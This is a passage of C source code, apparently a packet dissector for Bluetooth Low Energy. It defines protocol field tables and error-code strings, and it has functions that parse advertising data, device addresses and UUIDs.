hf_btle_adv_data_flags = -1; // static int hf_btle_adv_data_inc_16b_uuids = -1; // static int hf_btle_adv_data_com_16b_uuids = -1; // static int hf_btle_adv_data_inc_32b_uuids = -1; // static int hf_btle_adv_data_com_32b_uuids = -1; // static int hf_btle_adv_data_inc_128b_uuids = -1; // static int hf_btle_adv_data_com_128b_uuids = -1; // static int hf_btle_adv_data_short_local_name = -1; // static int hf_btle_adv_data_com_local_name = -1; // static int hf_btle_adv_data_tx_power = -1; // static int hf_btle_adv_data_dev_class = -1; // static int hf_btle_adv_data_pair_hash_c = -1; // static int hf_btle_adv_data_pair_rand_r = -1; // static int hf_btle_adv_data_dev_id = -1; // static int hf_btle_adv_data_sec_man_oob_flags = -1; // static int hf_btle_adv_data_conn_int_range = -1; // static int hf_btle_adv_data_16b_service_uuids = -1; // static int hf_btle_adv_data_128b_service_uuids = -1; // static int hf_btle_adv_data_service_data = -1; // static int hf_btle_adv_data_pub_target_addr = -1; // static int hf_btle_adv_data_rand_target_addr = -1; // static int hf_btle_adv_data_appearance = -1; // static int hf_btle_adv_data_adv_int = -1; // static int hf_btle_adv_data_manufacturer = -1; #define index_hf_btle_adv_data_flags 1 #define index_hf_btle_adv_data_inc_16b_uuids 2 #define index_hf_btle_adv_data_com_16b_uuids 3 #define index_hf_btle_adv_data_inc_32b_uuids 4 #define index_hf_btle_adv_data_com_32b_uuids 5 #define index_hf_btle_adv_data_inc_128b_uuids 6 #define index_hf_btle_adv_data_com_128b_uuids 7 #define index_hf_btle_adv_data_short_local_name 8 #define index_hf_btle_adv_data_com_local_name 9 #define index_hf_btle_adv_data_tx_power 10 #define index_hf_btle_adv_data_dev_class 13 #define index_hf_btle_adv_data_pair_hash_c 14 #define index_hf_btle_adv_data_pair_rand_r 15 #define index_hf_btle_adv_data_dev_id 16 #define index_hf_btle_adv_data_sec_man_oob_flags 17 #define index_hf_btle_adv_data_conn_int_range 18 #define index_hf_btle_adv_data_16b_service_uuids 20 #define index_hf_btle_adv_data_128b_service_uuids 21 #define index_hf_btle_adv_data_service_data 22 #define index_hf_btle_adv_data_pub_target_addr 23 #define index_hf_btle_adv_data_rand_target_addr 24 #define index_hf_btle_adv_data_appearance 25 #define index_hf_btle_adv_data_adv_int 26 #define index_hf_btle_adv_data_service_data_32b 0x20 #define index_hf_btle_adv_data_service_data_128b 0x21 // #define index_hf_btle_adv_data_manufacturer 255 static int hf_btle_adv_data_attrs[40] = {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1}; static int hf_btle_adv_data_manufacturer = -1; static int hf_btle_adv_data_unknown = -1; static int hf_btle_adv_data_flag_le_limited_discoverable = -1; static int hf_btle_adv_data_flag_le_general_discoverable = -1; static int hf_btle_adv_data_flag_br_edr_not_supported = -1; static int hf_btle_adv_data_flag_simultaneous_le_br_edr_controller = -1; static int hf_btle_adv_data_flag_simultaneous_le_br_edr_host = -1; static int hf_btle_128b_uuid = -1; static int hf_btle_32b_uuid = -1; static int hf_btle_16b_uuid = -1; static int hf_service_data_value = -1; static int hf_btle_adv_data_adv_int_ms = -1; // static expert_field ei_btle_packet_too_short = EI_INIT; // static expert_field ei_btle_packet_too_long = EI_INIT; // #endif static const value_string packet_types[] = { { 0x0, "ADV_IND" }, { 0x1, "ADV_DIRECT_IND" }, { 0x2, "ADV_NONCONN_IND" }, { 0x3, "SCAN_REQ" }, { 0x4, "SCAN_RSP" }, { 0x5, "CONNECT_REQ" }, { 0x6, "ADV_SCAN_IND" }, { 0, NULL } }; static const value_string llid_codes[] = { { 0x0, "undefined" }, { 0x1, "Continuation fragment of an L2CAP message" }, { 0x2, "Start of an L2CAP message or no fragmentation" }, { 0x3, "LL Control PDU" }, { 0, NULL } }; static const value_string ll_control_opcodes[] = { { 0x00, "LL_CONNECTION_UPDATE_REQ" }, { 0x01, "LL_CHANNEL_MAP_REQ" }, { 0x02, "LL_TERMINATE_IND" }, { 0x03, "LL_ENC_REQ" }, { 0x04, "LL_ENC_RSP" }, { 0x05, "LL_START_ENC_REQ" }, { 0x06, "LL_START_ENC_RSP" }, { 0x07, "LL_UNKNOWN_RSP" }, { 0x08, "LL_FEATURE_REQ" }, { 0x09, "LL_FEATURE_RSP" }, { 0x0A, "LL_PAUSE_ENC_REQ" }, { 0x0B, "LL_PAUSE_ENC_RSP" }, { 0x0C, "LL_VERSION_IND" }, { 0x0D, "LL_REJECT_IND" }, { 0, NULL } }; static const value_string adv_data_attr_types[] = { { 0x01, "Flags" }, { 0x02, "Incomplete List of 16-bit Service Class UUIDs" }, { 0x03, "Complete List of 16-bit Service Class UUIDs" }, { 0x04, "Incomplete List of 32-bit Service Class UUIDs" }, { 0x05, "Complete List of 32-bit Service Class UUIDs" }, { 0x06, "Incomplete List of 128-bit Service Class UUIDs" }, { 0x07, "Complete List of 128-bit Service Class UUIDs" }, { 0x08, "Shortened Local Name" }, { 0x09, "Complete Local Name" }, { 0x0A, "Tx Power Level" }, { 0x0D, "Class of Device" }, { 0x0E, "Simple Pairing Hash C" }, { 0x0F, "Simple Pairing Randomizer R" }, { 0x10, "Device ID / Security Manager TK Value" }, { 0x11, "Security Manager Out of Band Flags" }, { 0x12, "Slave Connection Interval Range" }, { 0x14, "List of 16-bit Service Solicitation UUIDs" }, { 0x15, "List of 128-bit Service Solicitation UUIDs" }, { 0x16, "Service Data for 16 bit UUID." }, { 0x17, "Public Target Address" }, { 0x18, "Random Target Address" }, { 0x19, "Appearance" }, { 0x1A, "Advertising Interval" }, { 0x20, "Service Data for 32 bit UUID." }, { 0x21, "Service Data for 128 bit UUID." }, { 0x21, "Advertising Interval" }, { 0xFF, "Manufacturer Specific Data" }, { 0xFE, "Unknown type" } }; static const value_string sleep_clock_accuracy_values[] = { { 0x00, "251 ppm to 500 ppm" }, { 0x01, "151 ppm to 250 ppm" }, { 0x02, "101 ppm to 150 ppm" }, { 0x03, "76 ppm to 100 ppm" }, { 0x04, "51 ppm to 75 ppm" }, { 0x05, "31 ppm to 50 ppm" }, { 0x06, "21 ppm to 30 ppm" }, { 0x07, "0 ppm to 20 ppm" } }; static const value_string error_codes[] = { { 0x00, "Success" }, { 0x01, "Unknown HCI Command" }, { 0x02, "Unknown Connection Identifier" }, { 0x03, "Hardware Failure" }, { 0x04, "Page Timeout" }, { 0x05, "Authentication Failure" }, { 0x06, "PIN or Key Missing" }, { 0x07, "Memory Capacity Exceeded" }, { 0x08, "Connection Timeout" }, { 0x09, "Connection Limit Exceeded" }, { 0x0A, "Synchronous Connection Limit To A Device Exceeded" }, { 0x0B, "ACL Connection Already Exists" }, { 0x0C, "Command Disallowed" }, { 0x0D, "Connection Rejected due to Limited Resources" }, { 0x0E, "Connection Rejected Due To Security Reasons" }, { 0x0F, "Connection Rejected due to Unacceptable BD_ADDR" }, { 0x10, "Connection Accept Timeout Exceeded" }, { 0x11, "Unsupported Feature or Parameter Value" }, { 0x12, "Invalid HCI Command Parameters" }, { 0x13, "Remote User Terminated Connection" }, { 0x14, "Remote Device Terminated Connection due to Low Resources" }, { 0x15, "Remote Device Terminated Connection due to Power Off" }, { 0x16, "Connection Terminated By Local Host" }, { 0x17, "Repeated Attempts" }, { 0x18, "Pairing Not Allowed" }, { 0x19, "Unknown LMP PDU" }, { 0x1A, "Unsupported Remote Feature / Unsupported LMP Feature" }, { 0x1B, "SCO Offset Rejected" }, { 0x1C, "SCO Interval Rejected" }, { 0x1D, "SCO Air Mode Rejected" }, { 0x1E, "Invalid LMP Parameters" }, { 0x1F, "Unspecified Error" }, { 0x20, "Unsupported LMP Parameter Value" }, { 0x21, "Role Change Not Allowed" }, { 0x22, "LMP Response Timeout / LL Response Timeout" }, { 0x23, "LMP Error Transaction Collision" }, { 0x24, "LMP PDU Not Allowed" }, { 0x25, "Encryption Mode Not Acceptable" }, { 0x26, "Link Key cannot be Changed" }, { 0x27, "Requested QoS Not Supported" }, { 0x28, "Instant Passed" }, { 0x29, "Pairing With Unit Key Not Supported" }, { 0x2A, "Different Transaction Collision" }, { 0x2B, "Reserved" }, { 0x2C, "QoS Unacceptable Parameter" }, { 0x2D, "QoS Rejected" }, { 0x2E, "Channel Classification Not Supported" }, { 0x2F, "Insufficient Security" }, { 0x30, "Parameter Out Of Mandatory Range" }, { 0x31, "Reserved" }, { 0x32, "Role Switch Pending" }, { 0x33, "Reserved" }, { 0x34, "Reserved Slot Violation" }, { 0x35, "Role Switch Failed" }, { 0x36, "Extended Inquiry Response Too Large" }, { 0x37, "Secure Simple Pairing Not Supported By Host." }, { 0x38, "Host Busy - Pairing" }, { 0x39, "Connection Rejected due to No Suitable Channel Found" }, { 0x3A, "Controller Busy" }, { 0x3B, "Unacceptable Connection Interval" }, { 0x3C, "Directed Advertising Timeout" }, { 0x3D, "Connection Terminated due to MIC Failure" }, { 0x3E, "Connection Failed to be Established" }, { 0x3F, "MAC Connection Failed" } }; /* These are the BR/EDR features. They are not used presently, but might be later. */ /* See below for LE feature set. */ static const value_string features[] = { { 0, "3 slot packets" }, { 1, "5 slot packets" }, { 2, "Encryption" }, { 3, "Slot offset" }, { 4, "Timing accuracy" }, { 5, "Role switch" }, { 6, "Hold mode" }, { 7, "Sniff mode" }, { 8, "Park state" }, { 9, "Power control requests" }, { 10, "Channel quality driven data rate (CQDDR)" }, { 11, "SCO link" }, { 12, "HV2 packets " }, { 13, "HV3 packets" }, { 14, "mu-law log synchronous data" }, { 15, "A-law log synchronous data" }, { 16, "CVSD synchronous data" }, { 17, "Paging parameter negotiation" }, { 18, "Power control" }, { 19, "Transparent synchronous data" }, { 20, "Flow control lag (least significant bit)" }, { 21, "Flow control lag (middle bit)" }, { 22, "Flow control lag (most significant bit)" }, { 23, "Broadcast Encryption" }, { 24, "Reserved" }, { 25, "Enhanced Data Rate ACL 2 Mbps mode" }, { 26, "Enhanced Data Rate ACL 3 Mbps mode" }, { 27, "Enhanced inquiry scan" }, { 28, "Interlaced inquiry scan" }, { 29, "Interlaced page scan" }, { 30, "RSSI with inquiry results" }, { 31, "Extended SCO link (EV3 packets)" }, { 32, "EV4 packets" }, { 33, "EV5 packets" }, { 34, "Reserved" }, { 35, "AFH capable slave " }, { 36, "AFH classification slave " }, { 37, "BR/EDR Not Supported" }, { 38, "LE Supported (Controller)" }, { 39, "3-slot Enhanced Data Rate ACL packets" }, { 40, "5-slot Enhanced Data Rate ACL packets" }, { 41, "Sniff subrating" }, { 42, "Pause encryption" }, { 43, "AFH capable master " }, { 44, "AFH classification master " }, { 45, "Enhanced Data Rate eSCO 2 Mbps mode" }, { 46, "Enhanced Data Rate eSCO 3 Mbps mode" }, { 47, "3-slot Enhanced Data Rate eSCO packets" }, { 48, "Extended Inquiry Response" }, { 49, "Simultaneous LE and BR/EDR to Same Device Capable (Controller)" }, { 50, "Reserved" }, { 51, "Secure Simple Pairing" }, { 52, "Encapsulated PDU" }, { 53, "Erroneous Data Reporting" }, { 54, "Non-flushable Packet Boundary Flag" }, { 55, "Reserved" }, { 56, "Link Supervision Timeout Changed Event" }, { 57, "Inquiry TX Power Level" }, { 58, "Enhanced Power Control" }, { 59, "Reserved" }, { 60, "Reserved" }, { 61, "Reserved" }, { 62, "Reserved" }, { 63, "Extended features" } }; static const value_string le_features[] = { { 0, "LE Encryption"} }; static const true_false_string addr_flag_tfs = { "random", "public" }; static const guint32 ADV_AA = 0x8e89bed6; static const char nondirect_dst[] = ""; static const guint8 nondirect_dst_string_length = 12; static const char implicit_src[] = ""; static const guint8 implicit_src_string_length = 11; static const char implicit_dst[] = ""; static const guint8 implicit_dst_string_length = 11; /* initialize the subtree pointers */ static gint ett_btle = -1; static gint ett_btle_pkthdr = -1; static gint ett_btle_connect = -1; static gint ett_btle_data = -1; static gint ett_ll_enc_req = -1; static gint ett_ll_enc_rsp = -1; static gint ett_ll_control = -1; static gint ett_ll_control_data = -1; static gint ett_feature_set = -1; static gint ett_channel_map = -1; static gint ett_adv_data = -1; static gint ett_adv_data_attr = -1; static gint ett_adv_data_flags = -1; static gint ett_uuids = -1; /* subdissectors */ static dissector_handle_t btl2cap_handle = NULL; void reverse_byte_order(guint8* dest, const guint8* src, guint size) { guint i; for (i = 0; i < size; i++) { dest[i] = src[size-1-i]; } } void reverse_byte_order_inplace(guint8* array, guint size) { guint i; guint8 tmp; for (i = 0; i < size/2; i++) { tmp = array[i]; array[i] = array[size-1-i]; array[size-1-i] = tmp; } } void dissect_feature_set(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_tree* feature_set_tree; proto_item* feature_set_item; int i; guint64 feature_set; feature_set_item = proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset, 8, ENC_LITTLE_ENDIAN); feature_set_tree = proto_item_add_subtree(feature_set_item, ett_feature_set); feature_set = tvb_get_letoh64(tvb, offset); for (i = 0; i < 1; i++) { if (feature_set & ((guint64)1 << i)) { proto_tree_add_uint(feature_set_tree, hf_btle_supported_feature, tvb, offset+(i/8), 1, i); } else { proto_tree_add_uint(feature_set_tree, hf_btle_unsupported_feature, tvb, offset+(i/8), 1, i); } } } void dissect_channel_map(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_item* map_item; proto_tree* map_tree; int i; guint64 map; gchar format[200] = "Enabled channels: "; gchar* format_pointer = &format[18]; map_item = proto_tree_add_item(tree, hf_btle_channel_map, tvb, offset, 5, ENC_LITTLE_ENDIAN); map_tree = proto_item_add_subtree(map_item, ett_channel_map); map = tvb_get_letoh64(tvb, offset); for (i = 0; i < 37; i++) { if (map & ((guint64)1 << i)) { sprintf(format_pointer, "%2d, ", i); } else { sprintf(format_pointer, " , ", i); } // format_pointer = (i<10) ? format_pointer+3 : format_pointer+4; format_pointer = format_pointer+4; } proto_tree_add_text(map_tree, tvb, offset, 5, &format[0]); } proto_tree* add_adv_data_attr(proto_tree* tree, tvbuff_t* tvb, const int hf, const guint8 length, const guint enc) { proto_item* attr_item; proto_tree* attr_tree; guint8 type; attr_item = proto_tree_add_item(tree, hf, tvb, 2, length-1, enc); attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags); type = tvb_get_guint8(tvb, 1); proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); if (hf == hf_btle_adv_data_unknown) { proto_tree_add_uint_format_value(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type, "Unknown type (%#2x)", type); } else { proto_tree_add_uint(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type); } // proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, enc); return attr_tree; } // void // dissect_service_data(proto_tree *tree, tvbuff_t *tvb, length) // { // } void dissect_adv_data_attr(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo) { // proto_item* attr_length_item; // proto_item* attr_type_item; // proto_item* attr_value_item; // proto_item* attr_value_string_item; // proto_item* attr_item; proto_tree* attr_tree; int i; guint8* name; guint8* uuids; gint8 tx_power; gfloat min_interval, max_interval, adv_interval, tmp; guint16 max_interval_raw; // guint8 temp_uuid[16]; wmem_allocator_t* epan_scope_mem_pool; guint8 address[6]; guint8 length, type; length = tvb_get_guint8(tvb, 0); type = tvb_get_guint8(tvb, 1); // if (type == 0 || type == 11 || type == 12 || type == 19 || (type > 26 && type != 255)) // return; // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 0, tvb_length(tvb), ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_attr); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); switch(type){ case index_hf_btle_adv_data_flags: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_host, tvb, 3*8 - 5, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_controller, tvb, 3*8 - 4, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_br_edr_not_supported, tvb, 3*8 - 3, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_general_discoverable, tvb, 3*8 - 2, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_limited_discoverable, tvb, 3*8 - 1, 1, ENC_LITTLE_ENDIAN); break; case index_hf_btle_adv_data_com_128b_uuids: case index_hf_btle_adv_data_inc_128b_uuids: case index_hf_btle_adv_data_128b_service_uuids: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); epan_scope_mem_pool = wmem_epan_scope(); uuids = wmem_alloc(epan_scope_mem_pool, length); for (i = 2; i < length; i += 16) { tvb_memcpy(tvb, &uuids[i], i, 16); reverse_byte_order_inplace(&uuids[i], 16); proto_tree_add_bytes(attr_tree, hf_btle_128b_uuid, tvb, i, 16, &uuids[i]); } break; case index_hf_btle_adv_data_com_32b_uuids: case index_hf_btle_adv_data_inc_32b_uuids: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); for (i = 2; i < length; i += 4) { proto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, i, 4, ENC_LITTLE_ENDIAN); } break; case index_hf_btle_adv_data_com_16b_uuids: case index_hf_btle_adv_data_inc_16b_uuids: case index_hf_btle_adv_data_16b_service_uuids: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); for (i = 2; i < length; i += 2) { proto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, i, 2, ENC_LITTLE_ENDIAN); } break; case index_hf_btle_adv_data_short_local_name: case index_hf_btle_adv_data_com_local_name: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_UTF_8); proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8); epan_scope_mem_pool = wmem_epan_scope(); name = wmem_alloc(epan_scope_mem_pool, length); tvb_memcpy(tvb, name, 2, length-1); name[length-1] = '\0'; SET_ADDRESS(&pinfo->src, AT_STRINGZ, length, name); break; case index_hf_btle_adv_data_service_data: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, 2, 2, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 4, length-3, ENC_LITTLE_ENDIAN); break; case index_hf_btle_adv_data_service_data_32b: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, 2, 4, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 6, length-5, ENC_LITTLE_ENDIAN); break; case index_hf_btle_adv_data_service_data_128b: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_128b_uuid, tvb, 2, 16, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 18, length-17, ENC_LITTLE_ENDIAN); break; case index_hf_btle_adv_data_conn_int_range: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); min_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)1.25; max_interval_raw = tvb_get_letohs(tvb, 4); if (max_interval_raw == 0xFFFF) { tmp = 0.0; max_interval = (gfloat)1.0/tmp; } else { max_interval = (gfloat)max_interval_raw * (gfloat)1.25; } proto_tree_add_float(attr_tree, hf_btle_min_interval, tvb, 2, 2, min_interval); proto_tree_add_float(attr_tree, hf_btle_max_interval, tvb, 4, 2, max_interval); break; case index_hf_btle_adv_data_tx_power: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); tx_power = tvb_get_guint8(tvb, 2); tx_power -= 127; proto_tree_add_int(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, tx_power); break; // case index_hf_btle_adv_data_dev_class: // case index_hf_btle_adv_data_pair_hash_c: // case index_hf_btle_adv_data_pair_rand_r: // case index_hf_btle_adv_data_dev_id: // case index_hf_btle_adv_data_sec_man_oob_flags: case index_hf_btle_adv_data_pub_target_addr: case index_hf_btle_adv_data_rand_target_addr: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); tvb_memcpy(tvb, &address[0], 2, 6); reverse_byte_order_inplace(address, 6); proto_tree_add_ether(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, address); break; case index_hf_btle_adv_data_adv_int: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); adv_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)0.625; proto_tree_add_float(attr_tree, hf_btle_adv_data_adv_int_ms, tvb, 2, 2, adv_interval); break; case index_hf_btle_adv_data_appearance: attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN); break; case 255: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_manufacturer, length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN); break; default: // attr_item = proto_tree_add_item(tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN); // attr_tree = proto_item_add_subtree(attr_item, ett_uuids); // attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN); // attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN); attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_unknown, length, ENC_LITTLE_ENDIAN); proto_tree_add_item(attr_tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN); break; } } void dissect_adv_data(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo) { guint i; // proto_item* adv_data_item; // proto_tree* adv_data_tree; for (i = 0; i < tvb_length(tvb); i += tvb_get_guint8(tvb, i) + 1) { tvbuff_t* attr_tvb; guint8 length; length = tvb_get_guint8(tvb, i) + 1; /* + the length byte itself */ attr_tvb = tvb_new_subset(tvb, i, length, length); dissect_adv_data_attr(tree, attr_tvb, pinfo); } } void dissect_adv_ind_or_nonconn_or_scan(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen) { // const guint8 *adv_addr; // guint64 adv_addr; // guint i; proto_item* data_item; proto_tree* data_tree; tvbuff_t* data_tvb; guint8* adv_addr_le; guint8* adv_addr_be; wmem_allocator_t* epan_scope_mem_pool; epan_scope_mem_pool = wmem_epan_scope(); adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6); adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6); DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1); tvb_memcpy(tvb, adv_addr_le, offset, 6); reverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */ SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be); SET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst); proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be); data_item = proto_tree_add_item(tree, hf_btle_adv_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN); data_tree = proto_item_add_subtree(data_item, ett_adv_data); data_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen); dissect_adv_data(data_tree, data_tvb, pinfo); } void dissect_adv_direct_ind(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset) { guint8 *adv_addr_le, *init_addr_le; guint8 *adv_addr_be, *init_addr_be; wmem_allocator_t* epan_scope_mem_pool; DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1); epan_scope_mem_pool = wmem_epan_scope(); adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6); adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6); init_addr_le = wmem_alloc(epan_scope_mem_pool, 6); init_addr_be = wmem_alloc(epan_scope_mem_pool, 6); tvb_memcpy(tvb, adv_addr_le, offset, 6); reverse_byte_order(adv_addr_be, adv_addr_le, 6); SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be); tvb_memcpy(tvb, init_addr_le, offset+6, 6); reverse_byte_order(init_addr_be, init_addr_le, 6); SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, init_addr_be); proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be); proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset + 6, 6, init_addr_be); } void dissect_scan_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset) { guint8 *adv_addr_le, *scan_addr_le; guint8 *adv_addr_be, *scan_addr_be; wmem_allocator_t* epan_scope_mem_pool; DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1); epan_scope_mem_pool = wmem_epan_scope(); adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6); adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6); scan_addr_le = wmem_alloc(epan_scope_mem_pool, 6); scan_addr_be = wmem_alloc(epan_scope_mem_pool, 6); tvb_memcpy(tvb, scan_addr_le, offset, 6); reverse_byte_order(scan_addr_be, scan_addr_le, 6); SET_ADDRESS(&pinfo->src, AT_ETHER, 6, scan_addr_be); tvb_memcpy(tvb, adv_addr_le, offset+6, 6); reverse_byte_order(adv_addr_be, adv_addr_le, 6); SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be); proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, scan_addr_be); proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be); // offset += 12; } void dissect_scan_rsp(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen) { proto_item* data_item; proto_tree* data_tree; tvbuff_t* 